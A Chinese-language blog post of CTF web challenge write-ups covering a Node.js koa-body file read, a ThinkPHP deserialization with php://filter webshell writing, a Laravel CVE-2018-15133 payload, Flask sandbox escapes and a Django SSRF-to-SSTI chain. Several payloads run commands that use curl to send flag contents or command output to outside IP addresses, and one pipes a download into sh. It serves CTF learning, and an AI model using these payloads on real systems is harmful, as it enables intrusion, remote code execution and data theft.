byc_404's blog

Do not go gentle into that good night

越打越菜 :(
这次比赛难度相比上次RCTF的难度好了点。但是最后还是只能感慨自己tcl。做出来的只有CloudDisk跟UnsafeDefenseSystem.相比下solve比较多的pythonsandbox自己反而因为总觉得pyjail太老套不去研究,连下手都做不到……赛后还是把能复现的都复现下吧。

CloudDisk

Nodejs经典漏洞。其实因为最近练手出了些Nodejs的题目,现在感觉Node写起来巨舒服,估计暑假会长期练手一些node项目。

首先先不说题目本身,单从最近写nodejs应用express入手,发现express框架一个启用支持数据的写法:

1
2
3
4
const bodyParser = require('body-parser');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));

这里是表示我们的应用支持application/jsonapplication/x-www-form-urlencoded传输的数据.相信在post包时见过不少次了。而让我注意到这个问题的起因是在一次CTF比赛中。本来那题是Nodejs反序列化作为考点,但是我开始在随意测试时发现了另一个漏洞,不过因为不是正确思路就没深入。后来getshell时把源码拿下来仔细阅读,发现问题就是出在这上面。对于Nodejs而言,传输json数据是非常危险的一件事。因为Nodejs本身就是js的一个runtime环境,javascript的对象写法就是{"sth":"byc"}之类的。而json数据与这的格式一致性往往导致传输的数据会被进行混淆。一旦程序写法有了问题,就可能误取某个用户传输的值作为对象的属性,导致原型链污染,变量混淆,Nosql注入之类的。

回到题目。由于有源码,所以直接上手分析。当然由于Nodejs的特性,以及本题所执行的上传下载的过程,在依赖正常的情况下不可能出现注入,路径穿越之类的问题。只可能是文件读取了。那么问题出在哪呢

1
2
3
4
const file = ctx.request.body.files.file;
const reader = fs.createReadStream(file.path);
...
const upStream = fs.createWriteStream(filePath);

注意这里,它的取值是从ctx.request.body中取的。而这就有可能出现上面提到的问题。假如我们传输json数据files并置其path属性为任意文件。我们之后下载的文件就是服务器上的文件了。

故读取之

1
{"files":{"file":{"path":"/app/flag"}}}

后来根据队友教的应该是个koa-body的问题。难怪我本地当时连上传都跑不起来。因为是个2.x版本的koa.出题人不给package.json估计是怕一眼看出版本问题吧。

UnsafeDefenseSystem

说真的。这题这次真的是心态起伏最大的一题。说实话我们本来有拿下一血的机会的。结果因为小细节就导致自己浪费了数个小时。第一天晚上9点左右我们就已经在打tp5.0.24的反序列化了。结果一直就以失败告终,第二天才终于明白问题不是出在exp上.具体后面再说吧。

老实说这题整体脉络下来跟我平时渗透的思路很相似,所以在前面进度非常顺利,没有卡壳。

第一步是访问网址。发现作了个跳转。同时提醒了log.txt的存在.(就是因为我看掉了log.txt导致后面浪费的巨量时间,该打)

因为跳转到/public/test。所以直接访问这个路由。得到一个网页。随便点点后似乎是静态的。这时候果断切ctrl+u看源码,并且ctrl+f搜索php。看有没有动态文件存在。
果然在注释中找到了。

1
<!-- Admin:/public/nationalsb/login.php -->

访问后发现是个auth的登录。但是任意用户密码都能进。不过毕竟我们收获了一个新路由/public/nationalsb/果断去这看看。

同样还是直接看网页源码,发现功能又是个静态的。但是有个js文件。点进去收获提示。

1
2
3
/username:Admin1964752
//password:DsaPPPP!@#amspe****
//Secret **** is your birthday

显然密码后四位要爆破。随便写个脚本出后四位好了。这种爆破量相比之前hackthebox的量已经非常友好。

最后爆出密码后缀1221.登录时的内容提示我们可以postfile.实验后是个lfi.不过显然做了处理,不能读取/flag跟带有log的(这里我以为是ban了login,但后来发现是ban了log…).那么基于这是个tp5.0.24.果断dump源码好了

现场下了个tp5.0.24的源码。最重要的肯定是控制器源码。所以读取application/index/controller/Index.php

1
2
3
4
5
6
7
8
<?php
?>
#r=requests.get(un_url+tmp_unserialize_payload)
r=requests.get(un_url+unserialize_payload)
r=requests.post('http://39.99.41.124/public/3b58a9545013e88c7186db11bb158c44.php',data={
'ccc':"system('cat /flag');"
})
print(r.text)

最后再回过头解释下使用过滤器的原因吧。因为之前郁师傅实战中遇到了,所以有这两个坑点

  • short open tag
    1
    2
    3
    4
    <?cuc
    //000000000000
    rkvg();?>
    报错 Parse error: syntax error, unexpected 'rkvg' (T_STRING)
    因为默认支持短标签的原因,由于 <?cuc,也就是 <?后面出现了 cuc 字符串,使得代码语法不合格,php 报错退出执行。

因此,要素其实就是绕过这个exit()。要想<,?不被识别。我们可以用string.strip_tags过滤器来解决。但是要让shell代码<?php eval(xxx)不被过滤。我们可以用convert.base64-decode过滤器来解决。所以要素就是两种过滤器搭配。但是这里需要解决的最重要的问题,就是base64解释器遇到等号就直接结束了。所以还要想办法让文件名中不出现=.

这里就可以使用php默认支持的iconv过滤器。优势在于,我们可以直接使用iconv这个shell命令支持的所有编码进行转换。
而之前我们在各种比赛中应该也接触过转码为utf-7的webshell了。比如XNUCA

1
2
3
4
5
6
7
8
<?php

$cc='php://filter/convert.iconv.utf-8.utf-7/resource=123.txt';
file_put_contents($cc,'=');

/**
123.txt 写入的内容为: +AD0-
**/

+AD0-可以被base64过滤器解码,所以说我们就能成功写入shell了。

1
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../

而且生成的文件名不会像rot13那样有奇怪的前缀。我们直接得到md5作为文件名的php。(值取决于你的file类中的$tag值,很多exp里就是true.所以算md5(‘tag_’+md5(‘1’))就行了)

当然因为base64是8byte解码。实际需要根据自己的payload补足a.当然最多补足4个就行。所以FUZZ下就能解决问题

所以说真的拉胯。还靠着郁师傅的老本以为占尽先机。却因为一些小细节走入误区。可能这就是渗透吧。

bestlanguage

我要是审过laravel5.8RCE以外的链子会是这个吊样.jpg…..第五空间的laravel因为审过链子所以直接秒了。这个因为没审过看都没看懂,属实拉胯。

其实就是CVE-2018-15133.因为.env里给了key所以就能直接打。
payload可以用第五空间的payload。因为以前在php框架练习中护网杯的非预期里提过这个链子了。所以就不深谈了。然后第五空间就是改了一个类的destruct。换了另一个类的destruct还能触发__get。这里可以用两个类都能用。

payload用ggc生成挺省事的。当然直接用之前rceexp的也可以

1
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"*listeners";a:1:{s:28:"curl 120.27.246.202/`whoami`";a:1:{i:0;s:6:"system";}}}s:8:"*event";s:28:"curl xxxxx/`cat /flag`";}

base64后联合key送给某cvephp即可。当然也能直接调用生成。
其他战队大佬的wp写的肯定比我好。我就不放exp了。

看到预期解是通过覆盖session反序列化。这就能解释index的路由设置了。可惜了本来一个很难绕过的题都被大家利用框架的洞打成RCE了……

pysandbox 1&2

题目虽然是沙盒逃逸。但其实用的exp自己之前也用过.看官方wp用的当初tokyowestern的脚本倒是挺惊讶的。因为自己前不久做安恒比赛时也用过shrine那题的脚本。总之就是能直接fuzz出一条继承链,相当好用。

先来学习下dalao们的设置静态目录的做法

1
2
3
/?POST=%2f

cmd=app.static_folder=request.args[request.method]

设置静态目录为/
之后即可访问static/flag

然后就是RCE了。这里其实自己之前FUZZ过一次。就是用shrine那个脚本fuzz出一条获取app的链。

当然这里看到一个很简单的方法。分享下W4nder师傅的
http://phoebe233.cn/index.php/archives/53/#pysandbox2
因为ord是在builtins里的。所以我们可以直接覆盖。之后同理再覆盖掉路由函数。利用lambda匿名函数。非常巧妙。

如果是官方的思路,跟我一开始的想法应该差不多。道理就是函数劫持。当然前提是能获取到可控变量的模块。出题人找的是werkzeug.urls.url_parse。这里我也用shrine当时的脚本来fuzz下。

search.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# search.py

def search(obj, max_depth):

visited_clss = []
visited_objs = []

def visit(obj, path='obj', depth=0):
yield path, obj

if depth == max_depth:
return

elif isinstance(obj, (int, float, bool, str, bytes)):
return

elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
print(obj)

else:
if obj in visited_objs:
return
visited_objs.append(obj)

# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass

# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

yield from visit(obj)

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import flask
import os

from flask import request
from search import search

app = flask.Flask(__name__)

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
for path, obj in search(request, 10):
if str(obj)=="werkzeug.urls":
return path

if __name__ == '__main__':
app.run(debug=True)

这里因为要获取到werkzeug.urls这个类。所以改成if str(obj)=="werkzeug.urls"然后再本地跑起这个flask.访问下/shrine/这个路由+随便什么。方便它获取到request。这样就能返回一条利用链。

1
app.__class__._get_current_object.__globals__['ClosingIterator'].close.__globals__['uri_to_iri'].__globals__['__name__']

然后不能用引号当然只能是request.args绕过(跟上面一样)。使用request.host,request.headers之类的把要传的值放header里即可。劫持url_parse()获取函数eval()。然后后面url_parse因为直接处理路由。那就可以直接路由传命令RCE。
__import__('os').system('curl$IFSxxxxx|sh')

题目其实不难,但是自己后来看都没看,跑去看asis了。

jsonhub

题目因为web1是django的原因,导致自己第一步不熟悉而直接断掉思路。后面的ssrf与ssti反而还有经验,应该属于自己不熟悉django的问题吧。

题目开始的参数注入

1
{"username":"byc_401","password":"123","is_staff":1,"is_superuser":1}

使用这两个字段应该是因为User模型的缘故。属于django默认的两个列名。
后台登录后拿到token

接下来是源码中一个需要利用cve绕过的部分。

1
2
3
4
5
6
7
8
9
10
11
12
white_list = ["39.104.19.182"]

def ssrf_check(url ,white_list):
for i in range(len(white_list)):
if url.startswith("http://" + white_list[i] + "/"):
return False



def flask_rpc(request):
if request.META['REMOTE_ADDR'] != "127.0.0.1":
return JsonResponse({"code": -1, "message": "Must 127.0.0.1"})

因为在web2存在明显的ssti,我们想要达成ssti必须要在这往127.0.0.1跑在8000的flask打一发。但是如果我们利用CVE-2018-14574这个任意url跳转,即可ssrf.

1
http://39.104.19.182//127%2e0.0.1:8000/rpc?methods=POST&data=eyJudW0xIjoiIiwibnVtMiI6IiIsInN5bWJvbHMiOiJ7XHUwMDdiJzEnLl9fY2xhc3NfXy5tcm8oKVstMV0uX19zdWJjbGFzc2VzX18oKVs2NF0uX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddWydldmFsJ10oXCJfX2ltcG9ydF9fKCdvcycpLnN5c3RlbSgnY3VybCAxMjAuMjcuMjQ2LjIwMi9gL3JlYWRmbGFnYCAnKVwiKX1cdTAwN2QifQ==

后面打flask的payload主要是解决大括号的问题。因为它是通过get_json获取数据的,因此其实并不存在waf的问题。只要用unicode绕过即可。这点在Node.js跟php的json_decode()绕过时应该经常用到。

并且,由于web2获取的参数要求num1,2不能有小写字母。symbols必须能匹配到+\-*/之一。这个payload也直接绕过了waf.

1
{"num1":"","num2":"","symbols":"{\u007b [].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval'](\"__import__('os').system('curl xxxx/`/readflag` ')\")}\u007d"}

还可以用num1={,symbols={PAYLOAD},num2=}来解决问题。至于flask获取到含catch_warnings模组进而获取到eval的方法也是老生常谈。FUZZ下就好了。

所以自己主要是因为django太过陌生,导致没能下手,跑去看asis了。剩下的难度其实还好。

小结

暂时先把wp放这些吧。争取明天自己再多复现下json_hub。因为刚好把htb的travel做完了,算是了却心头一件事。应该能抽空做些复现学习了。

关于最近的比赛心里其实一直有点难受。战队已经开始换届了,web新一届的学弟还没上来,但是平时在打比赛的web手已经几乎就只有我跟zjy了。每次xctf打到一半总感觉形单影只,相比人少而言更多的是感慨自己tcl。每次都会遇到感觉自己怎么没早点学的知识。心里过意不去。

不过毕竟打比赛是学习的过程,每次比赛确实都能接触到新姿势以及反思下自己的不足。现在既然到暑假了,是时候好好系统学习下新知识:
1.php: 一个是phpauditlabs争取每次都审一遍;然后laravel跟tp这样的框架过一下。其实wordpress也可以接触下,正好最近碰到了。
2.hackthebox: 不用做那么急,现役靶机剩下没做的基本上都是hard及以上难度了。可以慢慢来。
3.java: 几乎从零开始的java学习(我自己爬)
4.python: django的认识学习
5.Nodejs: 保持现状。多练手下Nodejs的开发

差不多就这样了。争取假期期间多更下文章总结知识。

评论